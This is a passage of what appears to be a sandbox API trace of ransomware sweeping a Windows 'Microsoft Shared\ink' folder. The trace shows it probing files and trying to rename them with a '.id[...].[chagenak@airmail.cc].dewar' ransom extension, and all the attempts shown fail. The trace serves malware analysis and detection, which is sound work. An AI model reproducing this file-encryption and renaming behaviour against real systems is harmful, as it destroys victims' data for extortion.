dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0220.056] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=749) returned 1 [0220.056] CloseHandle (hObject=0x1d0) returned 1 [0220.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0220.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0220.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0220.059] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=749) returned 1 [0220.059] CloseHandle (hObject=0x1d0) returned 1 [0220.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0220.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0220.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0220.061] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2764) returned 1 [0220.061] CloseHandle (hObject=0x1d0) returned 1 [0220.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0x20 [0220.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0x20 [0220.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0220.305] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=591) returned 1 [0220.306] CloseHandle (hObject=0x1d4) returned 1 [0220.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0220.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0220.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0220.308] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=207) returned 1 [0220.308] CloseHandle (hObject=0x1d4) returned 1 [0220.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml")) returned 0x20 [0220.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml")) returned 0x20 [0220.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0220.566] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3584) returned 1 [0220.566] CloseHandle (hObject=0x1d4) returned 1 [0220.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui")) returned 0x20 [0220.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui")) returned 0x20 [0220.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0220.569] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=46624) returned 1 [0220.569] CloseHandle (hObject=0x1d4) returned 1 [0220.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0220.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0220.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0220.872] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=747280) returned 1 [0220.872] CloseHandle (hObject=0x1d4) returned 1 [0220.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat")) returned 0x20 [0220.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat")) returned 0x20 [0220.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.873] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.873] SetEvent (hEvent=0x118) returned 1 [0220.874] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0220.874] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1100368) returned 1 [0220.874] CloseHandle (hObject=0x1d4) returned 1 [0220.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0220.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0220.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0220.878] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3053984) returned 1 [0220.878] CloseHandle (hObject=0x1d4) returned 1 [0220.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat")) returned 0x20 [0220.879] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0220.879] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat")) returned 0 [0220.879] SetEvent (hEvent=0x118) returned 1 [0220.880] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0220.880] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2227968) returned 1 [0220.880] CloseHandle (hObject=0x1d4) returned 1 [0220.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat")) returned 0x20 [0220.881] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0220.881] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat")) returned 0 [0220.882] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0220.882] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3195696) returned 1 [0220.882] CloseHandle (hObject=0x1d4) returned 1 [0220.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0220.883] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0220.883] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0 [0220.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0220.884] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4120784) returned 1 [0220.884] CloseHandle (hObject=0x1d4) returned 1 [0220.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0220.885] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0220.885] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0 [0220.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0220.886] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=353280) returned 1 [0220.886] CloseHandle (hObject=0x1d4) returned 1 [0220.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll")) returned 0x20 [0220.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll")) returned 0x20 [0220.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.888] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0220.888] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2103296) returned 1 [0220.888] CloseHandle (hObject=0x1d4) returned 1 [0220.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0x20 [0220.889] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0220.889] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0 [0220.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0220.890] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=397312) returned 1 [0220.891] CloseHandle (hObject=0x1d4) returned 1 [0220.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe")) returned 0x20 [0220.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe")) returned 0x20 [0220.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0220.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe" 